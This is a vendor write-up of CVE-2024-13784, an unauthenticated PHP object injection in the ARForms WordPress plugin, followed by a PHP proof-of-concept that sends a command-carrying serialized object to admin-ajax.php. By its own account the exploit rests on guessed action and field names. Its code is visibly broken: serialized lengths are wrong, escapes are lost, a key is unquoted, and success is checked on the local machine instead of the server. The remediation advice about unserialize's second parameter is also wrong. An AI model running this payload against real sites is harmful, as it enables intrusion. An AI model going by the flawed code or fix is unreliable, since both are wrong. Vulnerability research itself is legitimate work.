Atomic Edge analysis of CVE-2024-13784 (metadata-based): The Contact Form, Survey, Quiz & Popup Form Builder – ARForms plugin, up to and including version 1.8.5, contains an unauthenticated PHP Object Injection vulnerability. This flaw stems from the insecure deserialization of untrusted input originating from form submissions. The CVSS score is 9.8, indicating a critical severity. The attack vector is over the network, requires no authentication, and can lead to full compromise if a suitable gadget chain exists.
Root Cause: The root cause is the deserialization of user-controlled data without proper validation. This is classified as CWE-502 Deserialization of Untrusted Data. The plugin likely receives serialized data from a form submission, potentially via a hidden field or a parameter containing a serialized payload. It then passes this data directly to a PHP `unserialize()` function. Atomic Edge analysis infers this from the CVE description and CWE classification; the exact vulnerable code path is unconfirmed because no diff is available. The lack of a native POP chain means the direct impact is limited, but the vulnerability is exploitable in a multi-plugin environment.
Exploitation: An unauthenticated attacker can craft a malicious serialized PHP object and submit it as part of a form request. The likely attack vector is the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The attacker would submit a POST request with an `action` parameter that triggers the plugin’s form processing. Within this request, a hidden field or form data parameter would contain the malicious serialized payload. This payload would be deserialized by the plugin. Since the plugin lacks a POP chain, the attacker’s payload needs to target a class from another installed plugin or theme. This technique transforms a low-impact bug into a critical one when a suitable gadget chain is present.
Remediation: The patched version, 1.8.6, likely replaces the unsafe `unserialize()` call with a safer alternative. A secure fix should use `json_decode()` if the data integrity can be maintained with JSON. If the plugin must use its native serialization format, it should use `unserialize()` with the second parameter set to `false`, which permits only trusted classes. The plugin should also validate the data structure and types before deserialization. Users must update to version 1.8.6 or later to mitigate this vulnerability.
Impact: This vulnerability allows an unauthenticated attacker to inject arbitrary PHP objects into the application. By itself, this has no direct impact as the vulnerable plugin does not contain a POP chain. However, with a compatible gadget chain in another installed plugin or theme, the attacker can achieve a variety of severe effects. These effects can range from arbitrary file deletion and sensitive data disclosure to remote code execution. The resulting impact can lead to a full site compromise, including user account takeover and data exfiltration.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13784 - Contact Form, Survey, Quiz & Popup Form Builder – ARForms <= 1.8.5 - Unauthenticated PHP Object Injection
// ############################################################
// # Atomic Edge CVE Research - Proof of Concept (metadata-based)
// # CVE-2024-13784 - Contact Form, Survey, Quiz & Popup Form Builder – ARForms
// #
// # This PoC demonstrates the unauthenticated PHP Object Injection.
// # Since no POP chain exists in the vulnerable plugin, this PoC
// # requires a separate plugin/theme with a usable gadget chain. This
// # PoC attempts to trigger deserialization via the WordPress AJAX
// # endpoint.
// ############################################################
echo "[+] Atomic Edge CVE Research PoC - CVE-2024-13784 (metadata-based)n";
// 1. Configure the target WordPress site URL
$target_url = 'http://your-wordpress-site.com'; // CHANGE THIS
// 2. Craft a malicious serialized PHP object payload.
// This example assumes a gadget chain is present in another plugin.
// It uses '__destruct' method of a hypothetical class 'Example_Chain'
// with a property ready to delete a file or execute a command.
// Replace the class name and properties with the target project's chain.
$serialized_payload = 'O:13:"Example_Chain":1:{s:13:" * command";s:6:"id; touch /tmp/pwned";}';
// 3. Determine the AJAX action for ARForms. Based on the plugin slug and
// common WordPress patterns, the action is likely one of the following.
$ajax_action = 'arforms_submit_form'; // Possible action name
// 4. Construct the POST request to the admin-ajax.php endpoint.
$post_data = [
'action' => $ajax_action,
// This is a potential parameter location for the serialized data.
// Adjust the key based on the specific plugin form structure.
'serialized_data' => $serialized_payload,
cve_data => $serialized_payload // Placeholder, replace with actual field name
];
$url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
echo "[+] Sending payload to: $urln";
// 5. Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// 6. Execute the request and handle the response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo '[!] cURL error: ' . curl_error($ch) . "n";
} else {
echo "[+] HTTP Status Code: $http_coden";
echo "[+] Response (Truncated): " . substr($response, 0, 500) . "n";
}
// 7. Check if the command executed (for demonstration purposes only)
if (file_exists('/tmp/pwned')) {
echo "[+] Exploit Succeeded! Object injected. Check /tmp/pwned on the server.n";
} else {
echo "[-] The exploit may have failed. Check the response and your gadget chain.n";
}
curl_close($ch);
?>
